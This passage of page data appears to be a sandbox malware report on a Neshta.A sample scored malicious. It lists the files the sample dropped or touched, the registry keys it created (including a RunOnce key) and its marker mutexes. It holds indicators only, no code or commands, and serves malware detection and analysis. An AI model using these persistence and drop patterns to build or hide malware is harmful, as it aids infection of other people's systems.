box","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%TEMP%\\IXP000.TMP\\en\\certutil.exe.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%TEMP%\\IXP000.TMP\\stub.txt","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\AppPatch\\AcLayers.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\AppPatch\\AcGenral.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%TEMP%\\IXP000.TMP\\stub.exe","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%TEMP%\\crypted.EXE","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\8FwnL93i2WatSCZ7MJKJpgy7bmTR.exe","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\en-US\\explorer.exe.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\tzres.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\wbem\\en-US\\cimwin32.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\advapi32.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\en\\WorkflowServiceHostPerformanceCounters.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\lsm.exe","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\lsm.exe.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\drivers\\pacer.sys","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\drivers\\en-US\\pacer.sys.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\pnrpsvc.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\pnrpsvc.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\azroles.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\azroles.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\FXSRESM.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\FXSRESM.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\FWPUCLNT.DLL","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\fwpuclnt.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\iphlpsvc.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\iphlpsvc.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\ServiceModelPerformanceCounters.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\umpo.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\umpo.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\httpapi.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\httpapi.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\wmp.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\netlogon.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\netlogon.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\drt.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\drt.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\drivers\\ndis.sys","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\drivers\\en-US\\ndis.sys.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\WsmRes.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\WsmRes.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\tbssvc.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\tbssvc.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"C:\\Windows","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\catroot2\\edb.log","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\catroot2\\edb.chk","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\user32.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%TEMP%\\Ld9D50.tmp","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\propsys.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en\\WScript.exe.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\wscript.exe.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\wscript.exe","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%TEMP%\\sysmin","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%TEMP%\\sysmin\\install.vbs","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%PROGRAMFILES%\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%PROGRAMFILES%\\Internet Explorer","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\explorer.exe","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\AppPatch\\pcamain.sdb","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%TEMP%\\RATEME~1.EXE","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\directx.sys","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%LOCALAPPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\PrivacIE","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IECompatCache","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IETldCache","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"C:\\Users\\txlN8MQ","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\urlmon.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IETldCache\\index.dat","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%PROGRAMFILES%\\INTERN~1\\iexplore.exe","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%PROGRAMFILES%\\INTERN~1\\en\\iexplore.exe.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%PROGRAMFILES%\\INTERN~1\\en-US\\iexplore.exe.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\svchost.com","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%TEMP%\\tmp5023.tmp","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\setupapi.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%USERPROFILE%\\Favorites\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%PROGRAMFILES%\\MICROS~3\\Office14\\ONBttnIE.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%PROGRAMFILES%\\MICROS~3\\Office14\\ONBTTN~1.DLL","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\en-US\\ieframe.dll.mui","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%TEMP%\\~DF355F92BA21CD3564.TMP","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\Recovery\\High\\Active\\{BB6EC234-B387-11E7-9047-0A0027019525}.dat","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%USERPROFILE%\\Favorites","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%USERPROFILE%\\Favorites\\Links","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%PUBLIC%\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"C:\\Users\\Public","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%PUBLIC%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\Suggested Sites.url","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\Suggested Sites.url:favicon","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\Web Slice Gallery.url","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\4shared.com.url","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\5pk.com.url","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\7k7k.com.url","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\17kuxun.com.url","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\27.cn.url","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\url.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\frameiconcache.dat","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%TEMP%\\~DFD301587353314C44.TMP","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\Recovery\\High\\Active\\RecoveryStore.{BB6EC233-B387-11E7-9047-0A0027019525}.dat","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Themes\\slideshow.ini","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\GDIPLUS\\","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\\AUTOENROLLMENT\\","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\SESSIONINFO\\1\\WHCICONSTARTUP\\","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\WEXTRACT_CLEANUP0\\WEXTRACT_CLEANUP0","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\MutexPolesskayaGlush*.*svchost.comexefile\\shell\\open\\command \"%1\" %*@","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"MutexPolesskayaGlush*.*svchost.comexefile\\shell\\open\\command \"%1\" %*@","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\MutexPolesskayaGlush*.*svchost.comnX.tNth`T5@","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"MutexPolesskayaGlush*.*svchost.comnX.tNth`T5@","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{C20CD437-BA6D-4ebb-B190-70B43DE3B0F3}","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"{C20CD437-BA6D-4ebb-B190-70B43DE3B0F3}","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!txln8mq!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!txln8mq!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!BrowserEmulation!SharedMemory!Mutex","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!txln8mq!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ConnHashTable<1780>_HashTable_Mutex","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!txln8mq!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]}]}},"report_ids":{"sandbox_job_ids":["59e60bd37ca3e1122b33f946"]}}}]]}] 1d:null 21:[["$","title","0",{"children":"Malicious Neshta.A Sample 3bdecb8b3aaa… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 